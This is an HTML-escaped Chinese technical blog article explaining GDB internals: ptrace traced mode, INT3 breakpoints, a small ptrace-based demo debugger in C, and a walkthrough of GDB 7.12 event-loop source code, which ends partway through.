&lt;h4 id=&quot;gdb-yuan-ma-fen-xi-xi-lie-wen-zhang-er-gdb-zhu-liu-cheng-event-loop-shi-jian-chu-li-luo-ji-xiang-jie-1&quot;&gt;GDB 源码分析系列文章二：gdb 主流程 Event Loop 事件处理逻辑详解&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501#tracee__16&quot;&gt;tracee 的被追踪模式发生了什么&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501#gdb__102&quot;&gt;gdb 断点机制简介&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501#gdb__105&quot;&gt;gdb 调试模拟程序&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501#gdb__Event_Loop__278&quot;&gt;gdb 主流程 Event Loop 详解&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124641934?spm=1001.2014.3001.5501#reference_569&quot;&gt;reference&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;上一篇 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;Dong_HFUT&#x2F;article&#x2F;details&#x2F;124565170?spm=1001.2014.3001.5502&quot;&gt;探寻 GDB 内部实现系列文章一：ptrace 系统调用和事件循环（Event Loop）&lt;&#x2F;a&gt; 介绍了 gdb 内部实现关键技术 ptrace 系统调用和 Event Loop &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E4%BA%8B%E4%BB%B6%E5%BE%AA%E7%8E%AF%E6%9C%BA%E5%88%B6&amp;amp;spm=1001.2101.3001.7020&quot;&gt;事件循环机制&lt;&#x2F;a&gt;。今天将接着上文，详细介绍 gdb 主流程 Event Loop 事件处理机制。&lt;&#x2F;p&gt;
&lt;p&gt;上文介绍了 gdb 主进程（tracer）创建子进程（inferior&#x2F;tracee）后，子进程先进入被追踪模式，然后调用 exec 接口执行被调试程序时，inferior 会向主进程发送 SIGCHLD 信号，并将自己停住。我们探寻一下这个过程的原理。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tracee-de-bei-zhui-zong-mo-shi-fa-sheng-liao-shen-me&quot;&gt;tracee 的被追踪模式发生了什么&lt;&#x2F;h2&gt;
&lt;p&gt;gdb 创建 tracee，tracee 将自己设置为被追踪模式，然后执行 exec。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;void do_tracee( void )
{
	printf( &amp;quot;tracee process %ld\n&amp;quot;, (long)getpid() );

	if (ptrace( PTRACE_TRACEME, 0, NULL, NULL ))
	{
		perror( &amp;quot;tracee error!&amp;quot; );
		return;
	}

	execve( &amp;quot;test&amp;quot;, NULL, NULL); &amp;#x2F;&amp;#x2F; test 是一个可执行程序
}

int main()
{
	pid_t child;
	child = fork();
	if (child == 0)  &amp;#x2F;&amp;#x2F; 子进程
		do_tracee();
    ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;ptrac() 会调用内核 sys_ptrace() 函数，sys_ptrace() 将自己标记为追踪模式，X86 CPU 的 sys_ptrace() 代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;asmlinkage int sys_ptrace(long request, long pid, long addr, long data)
{
    ...
    if (request == PTRACE_TRACEME) {
        if (current-&amp;gt;ptrace &amp;amp; PT_PTRACED)
            goto out;
        current-&amp;gt;ptrace |= PT_PTRACED;
        ret = 0;
        goto out;
    }
    ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;再看 exec() 函数执行过程中发生了什么？ exec() 函数调用过程如下：exec-&amp;gt;sys_execve() -&amp;gt; do_execve() -&amp;gt; load_elf_binary()，在 load_elf_binary() 函数中会向当前进程发送 SIGTRAP 信号。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
    ...
    if (current-&amp;gt;ptrace &amp;amp; PT_PTRACED)
        send_sig(SIGTRAP, current, 0);
    ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当前进程接收到 SIGTRAP 时通过 do_signal() 进行处理：如果自己被标记为被追逐状态，则使当前进程暂停，并向主进程发送 SIGCHLD 信号。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int do_signal(struct pt_regs *regs, sigset_t *oldset)
{
    for (;;) {
        unsigned long signr;

        spin_lock_irq(&amp;amp;current-&amp;gt;sigmask_lock);
        signr = dequeue_signal(&amp;amp;current-&amp;gt;blocked, &amp;amp;info);
        spin_unlock_irq(&amp;amp;current-&amp;gt;sigmask_lock);

        if ((current-&amp;gt;ptrace &amp;amp; PT_PTRACED) &amp;amp;&amp;amp; signr != SIGKILL) {
            current-&amp;gt;exit_code = signr;
            current-&amp;gt;state = TASK_STOPPED;
            notify_parent(current, SIGCHLD);
            schedule();
            ...
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总结一下子进程在被被追踪模式时，调用 exec() 后主要做了哪些事情：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;将 tracee 设置为被追踪模式&lt;&#x2F;li&gt;
&lt;li&gt;向 tracee 发送 SIGTRAP 信号&lt;&#x2F;li&gt;
&lt;li&gt;处理 SIGTRAP 信号，将 tracee 暂停&lt;&#x2F;li&gt;
&lt;li&gt;向 tracer 发送 SIGCHLD 信号&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;gdb-duan-dian-ji-zhi-jian-jie&quot;&gt;gdb 断点机制简介&lt;&#x2F;h2&gt;
&lt;p&gt;gdb 断点通常使用 INT3 指令来实现，INT3 是一个字节的指令，它的操作码是 0xcc。gdb 设置断点其实就是在断点位置，将第一个字节保存，并替换成 0xcc。当程序运行到断点位置将产生 SIGTRAP 信号。gdb 既接收到子进程发送的 SIGCHLD 信号，也能接收到子进程的 SIGTRAP 信号，然后 gdb 可以通过 ptrace 接口查看被调试程序状态。然后 gdb 再将断点处指令恢复，并将 pc 指针返回上一条指令，然后重新执行即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gdb-diao-shi-mo-ni-cheng-xu&quot;&gt;gdb 调试模拟程序&lt;&#x2F;h2&gt;
&lt;p&gt;下面给出一段程序来模拟 gdb 实现的过程。&lt;&#x2F;p&gt;
&lt;p&gt;首先，给一段被调试程序：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

int main () {
    int a = 3;
    printf(&amp;quot;before breakpoint pos!\n&amp;quot;);
    a = 4;
    printf(&amp;quot;after breakpoint pos!\n&amp;quot;);
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们将在第二个 printf 之前设置断点，为此我们使用 objdump -d 观测反汇编：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;0000000000400526 &amp;lt;main&amp;gt;:
  400526:	55                   	push   %rbp
  400527:	48 89 e5             	mov    %rsp,%rbp
  40052a:	48 83 ec 10          	sub    $0x10,%rsp
  40052e:	c7 45 fc 03 00 00 00 	movl   $0x3,-0x4(%rbp)
  400535:	bf e4 05 40 00       	mov    $0x4005e4,%edi
  40053a:	e8 c1 fe ff ff       	callq  400400 &amp;lt;puts@plt&amp;gt;
  40053f:	c7 45 fc 04 00 00 00 	movl   $0x4,-0x4(%rbp)
  400546:	bf fb 05 40 00       	mov    $0x4005fb,%edi
  40054b:	e8 b0 fe ff ff       	callq  400400 &amp;lt;puts@plt&amp;gt;
  400550:	b8 00 00 00 00       	mov    $0x0,%eax
  400555:	c9                   	leaveq
  400556:	c3                   	retq
  400557:	66 0f 1f 84 00 00 00 	nopw   0x0(%rax,%rax,1)
  40055e:	00 00
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;断点位置设置在 0x400546 位置。我们的模拟程序如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;ptrace.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;types.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;wait.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;user.h&amp;gt;
#include &amp;lt;time.h&amp;gt;

void sigchld_handler( int sig )
{
    printf( &amp;quot;Process %ld received signal %d\n&amp;quot;, (long)getpid(), sig );
}

void do_debugger( pid_t child )
{
    int status = 0;
    long data;
    long orig_data;
    unsigned long addr;

    struct user_regs_struct regs;

    printf( &amp;quot;debugger process %ld\n&amp;quot;, (long)getpid() );

    if (signal( SIGCHLD, sigchld_handler ) == SIG_ERR)
    {
        perror( &amp;quot;signal&amp;quot; );
        exit( -1 );
    }

    &amp;#x2F;&amp;#x2F; Waiting for child process to stop...
    wait( &amp;amp;status );

    &amp;#x2F;&amp;#x2F; Placing breakpoint...
    addr = 0x400546;

    data = ptrace( PTRACE_PEEKTEXT, child, (void *)addr, NULL );
    orig_data = data;
    data = (data &amp;amp; ~0xff) | 0xcc;
    ptrace( PTRACE_POKETEXT, child, (void *)addr, data );

    &amp;#x2F;&amp;#x2F; Breakpoint is ready. Telling child to continue running...
    printf( &amp;quot;resume debuggee!\n&amp;quot;);
    ptrace( PTRACE_CONT, child, NULL, NULL );
    child = wait( &amp;amp;status );

    &amp;#x2F;&amp;#x2F; Restoring original data...
    ptrace( PTRACE_POKETEXT, child, (void *)addr, orig_data );

    &amp;#x2F;&amp;#x2F; Changing RIP register so that it will point to the right address...
    memset( &amp;amp;regs, 0, sizeof( regs ) );
    ptrace( PTRACE_GETREGS, child, NULL, &amp;amp;regs );
    printf( &amp;quot;RIP before resuming child is %lx\n&amp;quot;, regs.rip );
    regs.rip = addr;
    ptrace( PTRACE_SETREGS, child, NULL, &amp;amp;regs );
    sleep( 2 );
    printf( &amp;quot;debugger can watch debuggee here!\n&amp;quot;);
    sleep( 2 );
    printf( &amp;quot;resume debuggee!\n&amp;quot;);
    ptrace( PTRACE_CONT, child, NULL, NULL );

    child = wait( &amp;amp;status );
    if (WIFSTOPPED( status ))
        printf( &amp;quot;Debuggie stopped %d\n&amp;quot;, WSTOPSIG( status ) );
    if (WIFEXITED( status ))
        printf( &amp;quot;Debuggie exited...\n&amp;quot; );

    printf( &amp;quot;Debugger exiting...\n&amp;quot; );
}

void do_debuggee( void )
{
    char* argv[] = {  NULL };
    char* envp[] = {  NULL };

    printf( &amp;quot;In debuggie process %ld\n&amp;quot;, (long)getpid() );

    if (ptrace( PTRACE_TRACEME, 0, NULL, NULL ))
    {
        perror( &amp;quot;ptrace&amp;quot; );
        return;
    }

    execve( &amp;quot;test&amp;quot;, argv, envp );
}

int main()
{
    pid_t child;

    child = fork();
    if (child == 0)
        do_debuggee();
    else if (child &amp;gt; 0)
        do_debugger( child );
    else
    {
        perror( &amp;quot;fork&amp;quot; );
        return -1;
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行程序，输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;debugger process 68107
In debuggie process 68108
Process 68107 received signal 17
resume debuggee!
before breakpoint pos!
Process 68107 received signal 17
RIP before resuming child is 400547
debugger can watch debuggee here!
resume debuggee!
after breakpoint pos!
Process 68107 received signal 17
Debuggie exited...
Debugger exiting...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总结一下模拟程序的流程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;主进程 debugger 创建子进程 debuggee。&lt;&#x2F;li&gt;
&lt;li&gt;debuggee 设置自己为被追踪模式，并执行目标程序。&lt;&#x2F;li&gt;
&lt;li&gt;debugger 中通过 signal 机制监控来自子进程的 SIGCHLD 信号，并使用回调函数 sigchld_handler 记录日志。&lt;&#x2F;li&gt;
&lt;li&gt;debugger 接收到 SIGCHLD 信号，并且通过 wait 接口接收到 debuggee 停止状态信号。&lt;&#x2F;li&gt;
&lt;li&gt;debugger 读取 test 断点位置指令并保存，然后修改为 0xcc INT3 指令。接着发送 PTRACE_CONT 信号让 test 继续执行。&lt;&#x2F;li&gt;
&lt;li&gt;debugger 接收到 SIGCHLD 信号，并且通过 wait 接口接收到 debuggee 停止状态信号。说明 test 停在了我们设置的断点位置。这个时候就可以观测 test 程序的状态了。接着读取 pc 指针，并替换成前一条指令，并且恢复断点位置的指令。发送PTRACE_CONT 信号让 test 继续执行。&lt;&#x2F;li&gt;
&lt;li&gt;debugger SIGCHLD 信号，并且通过 wait 接口接收到 debuggee 退出信号。此事，目标程序已执行完成。debugger 退出。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;gdb-zhu-liu-cheng-event-loop-xiang-jie&quot;&gt;gdb 主流程 Event Loop 详解&lt;&#x2F;h2&gt;
&lt;p&gt;上面一节 gdb 调试的模拟程序已经在很大程度上体现了 gdb 调试程序的流程。下面，我将结合 gdb 源码（7.12）分析和梳理下 gdb 处理主流程。&lt;&#x2F;p&gt;
&lt;p&gt;从上一篇文章的介绍我们知道，gdb 主流程采用 Event Loop 循环机制，Event Loop 循环处理两个事件：用户输入（stdin event）事件和目标程序事件（target event）。&lt;&#x2F;p&gt;
&lt;p&gt;用户事件是将标准输入（fd=0）作为事件源加入到 gdb_nitifier。当用户输入命令后，Event Loop 中通过 poll&#x2F;select 捕捉到事件源发生改变，随即进入 stdin event 回调函数处理用户命令。&lt;&#x2F;p&gt;
&lt;p&gt;目标程序事件是使用 linux_nat_event_pipe[2] = {-1, -1} 作为事件源。linux_nat_event_pipe 地一个元素作为 fd，第二个元素用于事件变化。通过 linux_async_pipe 创建和销毁 target event pipe：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; gdb&amp;#x2F;linux-nat.c
 4528 static int
 4529 linux_async_pipe (int enable)
 4530 {
 4531   int previous = linux_is_async_p ();
 4532
 4533   if (previous != enable)
 4534     {
 4535       sigset_t prev_mask;
 4536
 4537       &amp;#x2F;* Block child signals while we create&amp;#x2F;destroy the pipe, as
 4538      their handler writes to it.  *&amp;#x2F;
 4539       block_child_signals (&amp;amp;prev_mask);
 4540
 4541       if (enable)
 4542     {
 4543       if (gdb_pipe_cloexec (linux_nat_event_pipe) == -1)
 4544         internal_error (__FILE__, __LINE__,
 4545                 &amp;quot;creating event pipe failed.&amp;quot;);
 4546
 4547       fcntl (linux_nat_event_pipe[0], F_SETFL, O_NONBLOCK);
 4548       fcntl (linux_nat_event_pipe[1], F_SETFL, O_NONBLOCK);
 4549     }
 4550       else
 4551     {
 4552       close (linux_nat_event_pipe[0]);
 4553       close (linux_nat_event_pipe[1]);
 4554       linux_nat_event_pipe[0] = -1;
 4555       linux_nat_event_pipe[1] = -1;
 4556     }
 4557
 4558       restore_child_signals_mask (&amp;amp;prev_mask);
 4559     }
 4560
 4561   return previous;
 4562 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过 async_file_mark 接口改变事件事件源，也即向 Event Loop 插入 target event。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;69 &amp;#x2F;* Put something (anything, doesn&amp;#x27;t matter what, or how much) in event
  270    pipe, so that the select&amp;#x2F;poll in the event-loop realizes we have
  271    something to process.  *&amp;#x2F;
  272
  273 static void
  274 async_file_mark (void)
  275 {
  276   int ret;
  277
  278   &amp;#x2F;* It doesn&amp;#x27;t really matter what the pipe contains, as long we end
  279      up with something in it.  Might as well flush the previous
  280      left-overs.  *&amp;#x2F;
  281   async_file_flush ();
  282
  283   do
  284     {
  285       ret = write (linux_nat_event_pipe[1], &amp;quot;+&amp;quot;, 1);
  286     }
  287   while (ret == -1 &amp;amp;&amp;amp; errno == EINTR);
  288
  289   &amp;#x2F;* Ignore EAGAIN.  If the pipe is full, the event loop will already
  290      be awakened anyway.  *&amp;#x2F;
  291 }
  292
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此，向 Event Loop 插入 stdin event，只需要通过 add_file_handler接口 向 gdb_notifier 插入事件源和注册回调函数，用户输入命令，即可被 Event Loop 的 poll&#x2F;select 接口捕捉，并进入回调函数处理用户命令。&lt;&#x2F;p&gt;
&lt;p&gt;向 Event Loop 插入 target event，则需要通过 linux_async_pipe 先创建 async_pipe，再通过 add_file_handler 接口向 gdb_notifier 插入事件源和回调函数，并且通过 async_file_mark 接口使 target event ready，即可被 Event Loop 的 poll&#x2F;select 接口捕捉，并进入回调函数处理目标程序事件。&lt;&#x2F;p&gt;
&lt;p&gt;回顾了 Event Loop 的机制后，我们在分析下 gdb 主流程。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;一、Event Loop 前的准备工作：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;启动 gdb 进入 gdb 主函数 captured_main。captured_main 在进入 Event Loop 之前主要是一些初始化动作，这里主要介绍两个跟&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E4%BA%8B%E4%BB%B6%E5%BE%AA%E7%8E%AF&amp;amp;spm=1001.2101.3001.7020&quot;&gt;事件循环&lt;&#x2F;a&gt;强相关动作：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;SIGCHLD 信号回调函数注册：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在 captured_main-&amp;gt;gdb_init-&amp;gt;initialize_all_files-&amp;gt;_initialize_linux_nat：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt; void
 4970 _initialize_linux_nat (void)
 4971 {
 4972   &amp;#x2F;&amp;#x2F; ...
 4990   &amp;#x2F;* Save this mask as the default.  *&amp;#x2F;
 4991   sigprocmask (SIG_SETMASK, NULL, &amp;amp;normal_mask);
 4992
 4993   &amp;#x2F;* Install a SIGCHLD handler.  *&amp;#x2F;
 4994   sigchld_action.sa_handler = sigchld_handler;
 4995   sigemptyset (&amp;amp;sigchld_action.sa_mask);
 4996   sigchld_action.sa_flags = SA_RESTART;
 4997
 4998   &amp;#x2F;* Make it the default.  *&amp;#x2F;
 4999   sigaction (SIGCHLD, &amp;amp;sigchld_action, NULL);
 5000
 5001   &amp;#x2F;* Make sure we don&amp;#x27;t block SIGCHLD during a sigsuspend.  *&amp;#x2F;
 5002   sigprocmask (SIG_SETMASK, NULL, &amp;amp;suspend_mask);
 5003   sigdelset (&amp;amp;suspend_mask, SIGCHLD);
 5004
 5005   sigemptyset (&amp;amp;blocked_mask);
 5006   &amp;#x2F;&amp;#x2F; ....
      }

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过 sigaction 监听 SIGCHLD 信号，并注册回调函数：sigchld_handler。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt; 4496 &amp;#x2F;* SIGCHLD handler that serves two purposes: In non-stop&amp;#x2F;async mode,
 4497    so we notice when any child changes state, and notify the
 4498    event-loop; it allows us to use sigsuspend in linux_nat_wait_1
 4499    above to wait for the arrival of a SIGCHLD.  *&amp;#x2F;
 4500
 4501 static void
 4502 sigchld_handler (int signo)
 4503 {
 4504   int old_errno = errno;
 4505
 4506   if (debug_linux_nat)
 4507     ui_file_write_async_safe (gdb_stdlog,
 4508                   &amp;quot;sigchld\n&amp;quot;, sizeof (&amp;quot;sigchld\n&amp;quot;) - 1);
 4509
 4510   if (signo == SIGCHLD
 4511       &amp;amp;&amp;amp; linux_nat_event_pipe[0] != -1)
 4512     async_file_mark (); &amp;#x2F;* Let the event loop know that there are
 4513                events to handle.  *&amp;#x2F;
 4514
 4515   errno = old_errno;
 4516 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;sigchld_handler 即为子进程（tracee&#x2F;inferior）发送的 SIGCHLD 信号后的回调函数。sigchld_handler 通过 async_file_mark 接口时 target event 就绪，Event Loop 即可捕捉。但这里有个入口条件 linux_nat_event_pipe[0] != -1 ，这个需要linux_async_pipe 接口将 event_pipe 创建后，sigchld_handler 才能向 Event Loop 插入 target event，因此 sigchld_handler 暂时还无法向 Event Loop 插入事件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;插入 stdin_event：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;captured_main-&amp;gt;set_top_level_interpreter-&amp;gt;interp_set-&amp;gt;tui_resume-&amp;gt;gdb_setup_readline-&amp;gt;ui_register_input_event_handler:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;  563 void
  564 ui_register_input_event_handler (struct ui *ui)
  565 {
  566   add_file_handler (ui-&amp;gt;input_fd, stdin_event_handler, ui);
  567 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过 add_file_handler 将 stdin event 加入到 gdb_notifier，并注册回调函数 stdin_event_handler。&lt;&#x2F;p&gt;
&lt;p&gt;二、 Event_Loop 处理&lt;&#x2F;p&gt;
&lt;p&gt;启动 gdb 完成初始化操作，即通过 start_event_loop 进入 while 死循环，通过 poll&#x2F;select 监听 stdin event 和 target event。在初始化阶段已经将 stdin event 加入到 poll&#x2F;select 的事件源中。这个时候只要用户输入命令，即可进入 Event Loop 事件处理。&lt;&#x2F;p&gt;
&lt;p&gt;一般地，用户会在此时设置断点，然后执行 run 命令。&lt;&#x2F;p&gt;
&lt;p&gt;Event Loop 捕捉到用户输入，进入 stdin event 回调函数 stdin_event_handler。stdin_event_handler 首先处理断点命令（这里就不展开了），然后处理 run 命令（run_command_1），这里介绍一下主要处理逻辑：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;创建子进程 fork inferior&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;这里主要就是调用 fork 接口创建 inferior，调用 exec 接口执行被调试程序。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;启动子进程 startup_inferior：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着调用 startup_inferior-&amp;gt;target_wait-&amp;gt;delegate_wait-&amp;gt;linux_nat_wait-&amp;gt;linux_nat_wait_1-&amp;gt;my_waitpid：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;  79 int
  80 my_waitpid (int pid, int *status, int flags)
  81 {
  82   int ret, out_errno;
  83
  84   linux_debug (&amp;quot;my_waitpid (%d, 0x%x)\n&amp;quot;, pid, flags);
  85
  86   do
  87     {
  88       ret = waitpid (pid, status, flags);
  89     }
  90   while (ret == -1 &amp;amp;&amp;amp; errno == EINTR);
  91   out_errno = errno;
  92
  93   linux_debug (&amp;quot;my_waitpid (%d, 0x%x): status(%x), %d\n&amp;quot;,
  94            pid, flags, (ret &amp;gt; 0 &amp;amp;&amp;amp; status != NULL) ? *status : -1, ret);
  95
  96   errno = out_errno;
  97   return ret;
  98 }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里调用 wait_pid 同步接口等待子进程信号（这时候sigchld_handler异步信号处理还没有真正开启）。&lt;&#x2F;p&gt;
&lt;p&gt;接收到子进程信号（SIGTRAP）后，继续执行子进程：startup_inferior-&amp;gt;target_resume-&amp;gt;delegate_resume-&amp;gt;linux_nat_resume：&lt;&#x2F;p&gt;
&lt;p&gt;linux_nat_resume 一方面调用 linux_resume_one_lwp-&amp;gt;linux_resume_one_lwp_throw-&amp;gt;inf_ptrace_resume 通过 ptrace 接口给子进程发生 CONTINUE 信号让子进程继续运行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;322 &amp;#x2F;* Resume execution of thread PTID, or all threads if PTID is -1.  If
 323    STEP is nonzero, single-step it.  If SIGNAL is nonzero, give it
 324    that signal.  *&amp;#x2F;
 325
 326 static void
 327 inf_ptrace_resume (struct target_ops *ops,
 328            ptid_t ptid, int step, enum gdb_signal signal)
 329 {
 330   pid_t pid;
 331   int request;
 332
 333   if (ptid_equal (minus_one_ptid, ptid))
 334     &amp;#x2F;* Resume all threads.  Traditionally ptrace() only supports
 335        single-threaded processes, so simply resume the inferior.  *&amp;#x2F;
 336     pid = ptid_get_pid (inferior_ptid);
 337   else
 338     pid = get_ptrace_pid (ptid);
 339
 340   if (catch_syscall_enabled () &amp;gt; 0)
 341     request = PT_SYSCALL;
 342   else
 343     request = PT_CONTINUE;
 344
 345   if (step)
 346     {
 347       &amp;#x2F;* If this system does not support PT_STEP, a higher level
 348          function will have called single_step() to transmute the step
 349          request into a continue request (by setting breakpoints on
 350          all possible successor instructions), so we don&amp;#x27;t have to
 351          worry about that here.  *&amp;#x2F;
 352       request = PT_STEP;
 353     }
 354
 355   &amp;#x2F;* An address of (PTRACE_TYPE_ARG3)1 tells ptrace to continue from
 356      where it was.  If GDB wanted it to start some other way, we have
 357      already written a new program counter value to the child.  *&amp;#x2F;
 358   errno = 0;
 359   ptrace (request, pid, (PTRACE_TYPE_ARG3)1, gdb_signal_to_host (signal));
 360   if (errno != 0)
 361     perror_with_name ((&amp;quot;ptrace&amp;quot;));
 362 }
 363
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;linux_nat_resume 另一方面通过 target_async-&amp;gt;delegate_async-&amp;gt;linux_nat_async：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;6 static void
 4567 linux_nat_async (struct target_ops *ops, int enable)
 4568 {
 4569   if (enable)
 4570     {
 4571       if (!linux_async_pipe (1))
 4572     {
 4573       add_file_handler (linux_nat_event_pipe[0],
 4574                 handle_target_event, NULL);
 4575       &amp;#x2F;* There may be pending events to handle.  Tell the event loop
 4576          to poll them.  *&amp;#x2F;
 4577       async_file_mark ();
 4578     }
 4579     }
 4580   else
 4581     {
 4582       delete_file_handler (linux_nat_event_pipe[0]);
 4583       linux_async_pipe (0);
 4584     }
 4585   return;
 4586 }

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
